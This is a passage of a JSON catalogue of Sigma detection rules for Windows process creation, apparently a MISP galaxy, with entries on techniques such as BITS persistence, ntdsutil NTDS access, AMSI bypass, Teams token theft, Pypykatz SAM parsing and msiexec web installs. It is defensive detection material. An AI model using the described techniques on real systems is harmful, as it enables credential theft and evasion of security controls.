"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "3dfd06d2-eaf4-4532-9555-68aca59f57c4", "value": "Execution from Suspicious Folder" }, { "description": "Detects process injection using Microsoft Remote Asssistance (Msra.exe) which has been used for discovery and persistence tactics", "meta": { "author": "Alexander McDonald", "creation_date": "2022/06/24", "falsepositive": [ "Legitimate use of Msra.exe" ], "filename": "proc_creation_win_msra_process_injection.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055" ] }, "uuid": "744a188b-0415-4792-896f-11ddb0588dbc", "value": "Msra.exe Process Injection" }, { "description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded", "meta": { "author": "Sreeman", "creation_date": "2020/10/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_monitoring_for_persistence_via_bits.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_monitoring_for_persistence_via_bits.yml" ], "tags": [ "attack.defense_evasion", "attack.t1197" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b9cbbc17-d00d-4e3d-a827-b06d03d2380d", "value": "Monitoring For Persistence Via BITS" }, { "description": "Detects specific process characteristics of Winnti Pipemon malware reported by ESET", "meta": { "author": "Florian Roth, oscd.community", "creation_date": "2020/07/30", "falsepositive": [ "Legitimate setups that use similar flags" ], "filename": "proc_creation_win_apt_winnti_pipemon.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_pipemon.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002", "attack.g0044" ] }, "uuid": "73d70463-75c9-4258-92c6-17500fe972f2", "value": "Winnti Pipemon Characteristics" }, { "description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)", "meta": { "author": "Thomas Patzke", "creation_date": "2019/01/16", "falsepositive": [ "NTDS maintenance" ], "filename": "proc_creation_win_ntdsutil_usage.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml" ], "tags": [ "attack.credential_access", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2afafd61-6aae-4df4-baed-139fa1f4c345", "value": "Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)" }, { "description": "Detects execution of Remote Utilities RAT (RURAT) from an unsual location (outisde of 'C:\\Program Files')", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_rurat_exec_location.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rurat_exec_location.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d", "value": "Execution of Remote Utilities RAT (RURAT) From Unusual Location" }, { "description": "Detects RDP session hijacking by using MSTSC shadowing", "meta": { "author": "Florian Roth", "creation_date": "2020/01/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_rdp_hijack_shadowing.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet", "https://twitter.com/kmkz_security/status/1220694202301976576", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_hijack_shadowing.yml" ], "tags": [ "attack.lateral_movement", "attack.t1563.002" ] }, "related": [ { "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6ba5a05f-b095-4f0a-8654-b825f4f16334", "value": "MSTSC Shadowing" }, { "description": "Detects a specific tool and export used by EquationGroup", "meta": { "author": "Florian Roth", "creation_date": "2019/03/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_equationgroup_dll_u_load.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/cyb3rops/status/972186477512839170", "https://github.com/adamcaudill/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", "https://securelist.com/apt-slingshot/84312/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_equationgroup_dll_u_load.yml" ], "tags": [ "attack.g0020", "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d465d1d8-27a2-4cca-9621-a800f37cf72e", "value": "Equation Group DLL_U Load" }, { "description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2022/10/10", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_pchunter.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://www.xuetr.com/", "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pchunter.yml" ], "tags": "No established tags" }, "uuid": "fca949cc-79ca-446e-8064-01aa7e52ece5", "value": "PCHunter Usage" }, { "description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.\nInvolved domains are bin.equinox.io for download and *.ngrok.io for connections.\n", "meta": { "author": "Florian Roth", "creation_date": "2021/05/14", "falsepositive": [ "Another tool that uses the command line switches of Ngrok", "Ngrok http 3978 (https://docs.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)" ], "filename": "proc_creation_win_susp_ngrok_pua.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/", "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "https://www.softwaretestinghelp.com/how-to-use-ngrok/", "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", "https://ngrok.com/docs", "https://twitter.com/xorJosh/status/1598646907802451969", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ngrok_pua.yml" ], "tags": [ "attack.command_and_control", "attack.t1572" ] }, "related": [ { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ee37eb7c-a4e7-4cd5-8fa4-efa27f1c3f31", "value": "Ngrok Usage" }, { "description": "Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_set_unsecure_powershell_policy.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/de-de/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_unsecure_powershell_policy.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "cf2e938e-9a3e-4fe8-a347-411642b28a9f", "value": "Potential PowerShell Execution Policy Tampering - ProcCreation" }, { "description": "Detects usage of a CLSID folder name located in a suspicious location from the commandline as seen being used in IcedID", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/01", "falsepositive": [ "Some FP is expected with some installers" ], "filename": "proc_creation_win_susp_clsid_foldername.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Kostastsale/status/1565257924204986369", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clsid_foldername.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "90b63c33-2b97-4631-a011-ceb0f47b77c3", "value": "Suspicious CLSID Folder Name In Suspicious Locations" }, { "description": "The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", "creation_date": "2022/06/02", "falsepositive": [ "Legitimate use by a software developer." ], "filename": "proc_creation_win_lolbin_fsharp_interpreters.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b96b2031-7c17-4473-afe7-a30ce714db29", "value": "Use of FSharp Interpreters" }, { "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", "meta": { "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_office_applications_spawning_wmi_commandline.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_applications_spawning_wmi_commandline.yml" ], "tags": [ "attack.t1204.002", "attack.t1047", "attack.t1218.010", "attack.execution", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "518643ba-7d9c-4fa5-9f37-baed36059f6a", "value": "Office Applications Spawning Wmi Cli" }, { "description": "Detects file execution using the msdeploy.exe lolbin", "meta": { "author": "Beyu Denis, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "System administrator Usage" ], "filename": "proc_creation_win_msdeploy.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/999090532839313408", "https://twitter.com/pabraeken/status/995837734379032576", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdeploy.yml" ], "tags": [ "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "646bc99f-6682-4b47-a73a-17b1b64c9d34", "value": "Execute Files with Msdeploy.exe" }, { "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", "meta": { "author": "@SerkinValery", "creation_date": "2022/09/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_teams_suspicious_command_line_cred_access.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml" ], "tags": [ "attack.credential_access", "attack.t1528" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d2eb17db-1d39-41dc-b57f-301f6512fa75", "value": "Suspicious Command With Teams Objects Pathes" }, { "description": "Detects Request to amsiInitFailed that can be used to disable AMSI Scanning", "meta": { "author": "Markus Neis", "creation_date": "2018/08/17", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_powershell_amsi_bypass.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/0ced17419e01663a0cd836c9c2eb925e3031ffb5b18ccf35f4dea5d586d0203e?environmentId=120", "https://twitter.com/mattifestation/status/735261176745988096", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "30edb182-aa75-42c0-b0a9-e998bb29067c", "value": "Powershell AMSI Bypass via .NET Reflection" }, { "description": "Detects execution of Microsoft Defender's CLI process (MpCmdRun.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", "meta": { "author": "Bhabesh Raj", "creation_date": "2022/08/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_dll_sideload_defender.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_defender.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "7002aa10-b8d4-47ae-b5ba-51ab07e228b9", "value": "DLL Sideloading by Microsoft Defender" }, { "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", "meta": { "author": "frack113", "creation_date": "2022/01/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_pypykatz.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/skelsec/pypykatz", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pypykatz.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a29808fd-ef50-49ff-9c7a-59a9b040b404", "value": "Registry Parse with Pypykatz" }, { "description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL", "meta": { "author": "Florian Roth", "creation_date": "2022/01/06", "falsepositive": [ "Legitimate use of the UI Accessibility Checker" ], "filename": "proc_creation_win_lolbin_susp_acccheckconsole.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/bohops/status/1477717351017680899?s=12", "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml" ], "tags": [ "attack.execution" ] }, "uuid": "0f6da907-5854-4be6-859a-e9958747b0aa", "value": "Suspicious LOLBIN AccCheckConsole" }, { "description": "Detects the use of Ldifde.exe with specific command line arguments to potentially load an LDIF file containing HTTP-based arguments.\nLdifde.exe is present, by default, on domain controllers and only requires user-level authentication to execute.\n", "meta": { "author": "@gott_cyber", "creation_date": "2022/09/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_ldifde_file_load.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1564968845726580736", "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml" ], "tags": [ "attack.command_and_control", "attack.t1105", "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6f535e01-ca1f-40be-ab8d-45b19c0c8b7f", "value": "Suspicious Ldifde Command Usage" }, { "description": "Detects a suspicious child process of a Windows shell", "meta": { "author": "Florian Roth, Tim Shelton", "creation_date": "2018/04/06", "falsepositive": [ "Administrative scripts", "Microsoft SCCM" ], "filename": "proc_creation_win_shell_spawn_susp_program.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_susp_program.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1059.005", "attack.t1059.001", "attack.t1218" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3a6586ad-127a-4d3b-a677-1e6eacdf8fde", "value": "Windows Shell Spawning Suspicious Program" }, { "description": "Accesschk is an access and privilege audit tool developed by SysInternal and often being used by attacker to verify privileges", "meta": { "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community, Nasreddine Bencherchali (modified)", "creation_date": "2020/10/13", "falsepositive": [ "System administrator Usage" ], "filename": "proc_creation_win_accesschk_usage_after_priv_escalation.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_accesschk_usage_after_priv_escalation.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c625d754-6a3d-4f65-9c9a-536aea960d37", "value": "Accesschk Usage To Check Privileges" }, { "description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)", "meta": { "author": "frack113", "creation_date": "2022/05/16", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_lolbin_ttdinject.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b27077d6-23e6-45d2-81a0-e2b356eea5fd", "value": "Use of TTDInject.exe" }, { "description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", "meta": { "author": "Sreeman", "creation_date": "2020/03/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_appvlp.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml" ], "tags": [ "attack.t1218", "attack.defense_evasion", "attack.execution" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9c7e131a-0f2c-4ae0-9d43-b04f4e266d43", "value": "Using AppVLP To Circumvent ASR File Path Rule" }, { "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example", "meta": { "author": "Ilya Krestinichev", "creation_date": "2022/11/03", "falsepositive": [ "False positive could occur in admin scripts that execute inline" ], "filename": "proc_creation_win_susp_ping_del.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_del.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "54786ddc-5b8a-11ed-9b6a-0242ac120002", "value": "Suspicious Ping And Del Combination" }, { "description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once", "meta": { "author": "Florian Roth", "creation_date": "2021/03/11", "falsepositive": [ "Administrative activity", "Software installation" ], "filename": "proc_creation_win_susp_schtask_creation_temp_folder.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation_temp_folder.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "39019a4e-317f-4ce3-ae63-309a8c6b53c5", "value": "Suspicious Scheduled Task Creation Involving Temp Folder" }, { "description": "Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_remote_desktop_tunneling.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_desktop_tunneling.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021" ] }, "uuid": "8a3038e8-9c9d-46f8-b184-66234a160f6f", "value": "Potential Remote Desktop Tunneling" }, { "description": "Detects suspicious msiexec process starts with web addresses as parameter", "meta": { "author": "Florian Roth", "creation_date": "2018/02/09", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_msiexec_web_install.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_web_install.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.007", "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f7b5f842-a6af-4da5-9e95-e32478f3cd2f", "value": "MsiExec Web Install" }, { "description": "Adversaries can abuse of C:\\Windows\\System32\\gatherNetworkInfo.vbs script along with cscript.exe to gather information about the target", "meta": { "author": "blueteamer8699", "creation_date": "2022/01/03", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_lolbin_cscript_gathernetworkinfo.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cscript_gathernetworkinfo.yml" ], "tags": [ "attack.discovery", "attack.execution", "attack.t1615", "attack.t1059.005" ] }, "related": [ { "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "575dce0c-8139-4e30-9295-1ee75969f7fe", "value": "GatherNetworkInfo.vbs Script Usage" }, { "description": "Detects execution of ftp.exe script execution with the \"-s\" flag and any child processes ran by ftp.exe", "meta": { "author": "Victor Sergeev, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_ftp.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml" ], "tags": [ "attack.execution", "attack.t1059", "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "06b401f4-107c-4ff9-947f-9ec1e7649f1e", "value": "LOLBIN Execution Of The FTP.EXE Binary" }, { "description": "Detects an exploitation attempt in which the 